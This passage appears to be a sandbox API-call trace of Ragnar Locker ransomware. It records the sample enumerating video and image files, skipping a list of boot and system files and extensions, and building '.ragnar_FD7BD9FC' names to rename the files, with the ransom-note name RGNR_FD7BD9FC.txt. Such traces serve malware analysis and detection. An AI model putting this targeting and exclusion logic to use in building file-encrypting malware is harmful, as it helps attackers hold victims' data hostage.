dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.753] CloseHandle (hObject=0xffffffff) returned 0 [0078.753] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" [0078.753] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ragnar_FD7BD9FC" [0078.753] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.753] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0078.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.753] lstrcpyW (in: lpString1=0x1eab5a, lpString2="bear_formatted_rgb6.wmv" | out: lpString1="bear_formatted_rgb6.wmv") returned="bear_formatted_rgb6.wmv" [0078.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned=".wmv" [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="autorun.inf") returned 1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="boot.ini") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootfont.bin") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootsect.bak") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootmgr") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootmgr.efi") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="bootmgfw.efi") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="desktop.ini") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="iconcache.db") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntldr") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntuser.dat") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntuser.dat.log") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="ntuser.ini") returned -1 [0078.753] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="thumbs.db") returned -1 [0078.753] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.753] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.753] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.754] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.754] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.754] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.754] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0078.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.754] CloseHandle (hObject=0xffffffff) returned 0 [0078.754] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" [0078.754] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ragnar_FD7BD9FC" [0078.754] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.754] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0078.754] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.754] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Bear_Formatted_RGB6_PAL.wmv" | out: lpString1="Bear_Formatted_RGB6_PAL.wmv") returned="Bear_Formatted_RGB6_PAL.wmv" [0078.754] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned=".wmv" [0078.754] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.754] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.754] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="boot.ini") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootmgr") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntldr") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.755] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.755] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0078.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.755] CloseHandle (hObject=0xffffffff) returned 0 [0078.755] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" [0078.755] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ragnar_FD7BD9FC" [0078.755] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.755] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0078.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.755] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0078.756] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned=".png" [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="autorun.inf") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootfont.bin") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootsect.bak") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr.efi") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgfw.efi") returned 1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="desktop.ini") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="iconcache.db") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntldr") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat.log") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.ini") returned -1 [0078.756] lstrcmpiW (lpString1="btn-back-static.png", lpString2="thumbs.db") returned -1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.756] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0078.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.757] CloseHandle (hObject=0xffffffff) returned 0 [0078.757] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" [0078.757] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ragnar_FD7BD9FC" [0078.757] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.757] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0078.757] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.757] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0078.757] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned=".png" [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="autorun.inf") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootfont.bin") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootsect.bak") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr.efi") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgfw.efi") returned 1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="desktop.ini") returned -1 [0078.757] lstrcmpiW (lpString1="btn-next-static.png", lpString2="iconcache.db") returned -1 [0078.758] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntldr") returned -1 [0078.758] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat") returned -1 [0078.758] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat.log") returned -1 [0078.758] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.ini") returned -1 [0078.758] lstrcmpiW (lpString1="btn-next-static.png", lpString2="thumbs.db") returned -1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.758] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0078.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.758] CloseHandle (hObject=0xffffffff) returned 0 [0078.758] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" [0078.758] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ragnar_FD7BD9FC" [0078.758] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.758] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0078.758] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.758] lstrcpyW (in: lpString1=0x1eab5a, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0078.758] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned=".png" [0078.758] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.758] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="autorun.inf") returned 1 [0078.758] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0078.758] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootfont.bin") returned 1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootsect.bak") returned 1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr") returned 1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr.efi") returned 1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgfw.efi") returned 1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="desktop.ini") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="iconcache.db") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntldr") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat.log") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.ini") returned -1 [0078.759] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="thumbs.db") returned -1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.759] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0078.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.759] CloseHandle (hObject=0xffffffff) returned 0 [0078.759] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" [0078.759] 